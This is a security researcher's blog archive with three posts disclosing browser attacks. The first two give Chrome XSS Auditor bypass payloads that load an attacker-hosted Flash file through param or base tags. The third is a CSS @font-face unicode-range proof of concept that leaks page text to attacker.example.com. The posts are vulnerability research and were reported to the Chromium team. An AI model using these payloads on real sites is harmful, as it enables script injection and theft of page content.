Showing posts with label Chrome. Show all posts
Showing posts with label Chrome. Show all posts

Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

The bypass is:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
Also it works:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

Wednesday, May 18, 2016

XSS Auditor bypass using Flash and base tag

A few days ago, I was playing Chrome XSS Auditor bypass with Mario.

Mario discovered this bypass:
Also I found an another bypass. In this post, I would like to share my vector.

I have filed this bug on: https://bugs.chromium.org/p/chromium/issues/detail?id=612672

The vector is this:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
Let's take a look at the process until reaching this bypass.

It is blocked to fetch the external resources using the <embed>:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
But it is not blocked to fetch any same-origin resources having no query string:

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
So, if we can change the base URL, it is possible to do XSS attacks.
The base tag is also blocked but if it is not closed with >, Auditor does not block in some cases.

The following case is blocked:
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
But the following case is not blocked:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.

Thus, my vector works!

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.
If the "' characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <base href="//evil/.

It is not blocked in the following condition:
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
I think this bypass is useful because most pages have the "' characters under the injection point.

FYI, also <script src=/xss.js></script><base href=//evil/ is not blocked. But we can't load the external resource because the loading is started before the base URL is set:

https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Thus, I used Flash.

That's all. Thanks for reading my post :)

Friday, October 23, 2015

CSS based Attack: Abusing unicode-range of @font-face

In this post, I would like to share about new CSS based attack with unicode-range descriptor of @font-face rule.

Using this technique, an attacker can read page's text partially by CSS only.
An attacker might use this technique in the following cases:

- Browser's XSS filter bypass (e.g. XSS Auditor does not block <style> injection)
- Only CSS injection is allowed in the target page

As far as I know, known CSS based attack can read attribute (See Attribute Reader: http://p42.us/css/) but can't read characters of text node. This vector can do it, not perfect though :)

So far, this vector can be used in Chrome and Firefox Nightly 44.

Let's go:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Let's see another example: http://vulnerabledoma.in/poc_unicode-range2.html

You can see external requests including page text (M,a,s,t,o,K,i,n,u,g,w) from DevTools. Like the following:



As you can see, we can't know duplicated characters. But in some cases like this PoC, I think that it can give an attacker enough information.

I reported this trick to Chrome Team but it has been marked WontFix on Issue 543078.

It seems that this behavior is spec'd. See EXAMPLE 13 of http://www.w3.org/TR/css3-fonts/#composite-fonts.  Due to this behavior, users can save bandwidth. But as the side effect, an attacker got new attack vector.